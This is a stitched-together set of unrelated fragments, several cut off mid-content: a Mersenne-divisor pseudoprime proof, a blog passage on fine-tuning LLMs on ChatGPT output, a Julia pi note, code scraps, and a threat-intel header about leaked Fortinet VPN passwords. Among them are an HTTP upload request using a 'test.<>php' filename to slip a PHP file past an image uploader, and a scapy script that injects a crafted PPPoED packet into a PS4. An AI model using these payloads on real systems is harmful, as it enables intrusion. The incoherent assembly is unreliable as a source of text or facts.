Darío Clavijo daedalus

We want to show that any divisor $d | M(n) = 2^n-1$ is a Fermat pseudo-prime for base $2^{n/2}$. That would mean that $\big( 2^{(n/2)} \big)^{d-1} \equiv 1 \pmod d$. Assume $n$ is even and $n>4$.

$M(n) \equiv 2^n - 1 \equiv 0 \pmod d$ (given)
$2^n \equiv 1 \pmod d$ (restatement of step (1))
$\left( 2^{(n/2)}\right)^{d-1} \equiv 2^{\left(\frac {n(d-1)} 2 \right)} \equiv \left(2^n\right)^{\left( \frac {d-1} 2 \right)} \equiv 1 \pmod d$ (step (2), $d-1$ is even)
$(2^{n/2})^{d-1} \equiv 1 \pmod d \rightarrow$ $d$ is pseudo-prime in base $2^{n/2}$ (definition)

Thus, $d$ is a Fermat pseudo-prime for base $2^{n/2}$

Training open-source LLMs on ChatGPT output is a really bad idea.

Everyone is now racing to create open-source alternatives to compete with GPT3.5/GPT4. A common shortcut used by some teams to bootstrap their effort is to fine-tune their model on ChatGPT output. I used to think it was a good idea and totally fair play to do this. Actually, I still think it’s fair play. OpenAI effectively distilled the entire web into its models. They are saying themself that they are using publicly accessible information (mostly). So distilling their model is, in effect, distilling the public open web, so small Term of Service details aside, I don’t see major ethical problems with that. Right? Well, it’s not entirely true and I realized now that, even when ignoring the ethical considerations, using their output is a really bad idea.

First of all, from a purely technical point of view, as @yoavgo is explaining it beautifully in his recent post, there is no way to align LLMs correctly without the RLHF component. I encourag

20 million digits of pi in under a minute with Julia

I recently discovered a relatively obscure algorithm for calculating the digits of pi: https://en.wikipedia.org/wiki/Gauss–Legendre_algorithm. Well, at least obscure compared to Chudnovsky's. Wikipedia notes that it is "memory-intensive" but is it really? Let's compare to the MPFR pi function:

function gauss_legendre(prec)
    setprecision(BigFloat, prec, base=10)
    GC.enable(false)

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Content-Length: 239
Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
Accept-Encoding: gzip

----------------------------835846770881083140190633
Content-Disposition: form-data; name="editormd-image-file"; filename="test.&lt;&gt;php"

	#! /bin/bash
	# Modified to run both (redudantly, yes, I know, I am paranoid, you should be too) checks
	#
	set -eu

	# find path to liblzma used by sshd
	path="$(ldd $(which sshd) \| grep liblzma \| grep -o '/[^ ]*')"
	echo 'Check one: does it even exist?'
	# does it even exist?
	if [ "$path" == "" ]

	from scapy.all import PPPoED, Ether, sniff, sendp, srp1, hexdump

	source = b"\xXX\xXX\xXX\xXX\xXX\xXX" # MAC address of your adapter on PC
	destination = b"\xXX\xXX\xXX\xXX\xXX\xXX" # MAC address of LAN on your PS4
	interface = "Realtek PCIe 2.5GbE Family Controller #2" # get via "ipconfig /all" or eth0 or similiar on Linux

	packet = sniff(iface=interface, filter="pppoed", count=1)
	tag_value = packet[PPPoED][0].tag_list[1].tag_value
	payload = destination + source + b"\x88\x63\x11\x07\x00\x00\x00\x0c\x01\x03\x00\x08" + tag_value
	sendp(payload, iface=interface)

	#include <stdint.h>
	#include <stdio.h>
	#include <string.h>
	#include <unistd.h>
	#include <math.h>

	#define debug(...)
	//#define debug printf

	// torus radii and distance from camera

	n=256;q, t, m, e, p, c, f=(range(n),16,lambda x
	,y, r=0:m((h:=x <<1,h^283)[
	h&n!= 0],y>> 1,(r,r ^x)
	[y&1])if y else r,lambda
	a,w= 1,p=n -2:e(m(a, a),(w,m
	(w,a))[p&1] ,p>> 1)if p
	else w, lambda b: list(
	map (print,["%.2x "t%(b[r:r+t],)for
	r in [*q][::t]])),lambda a,i: (a<<i\|a>>8-i)&255
	,lambda a: (a^c(a,1)^c(a,2)^c(a,3)^c(a,4))^99);

	##### COURTESY
	# @CuratedIntel
	# https://curatedintel.org

	##### BACKGROUND
	# Initally shared on RAMP ransomware forum
	# Last shared on Groove ransomware extortion website
	# Publicized by Bleeping Computer, which led to this post being issued to help blue teamers
	# https://www.bleepingcomputer.com/news/security/hackers-leak-passwords-for-500-000-fortinet-vpn-accounts/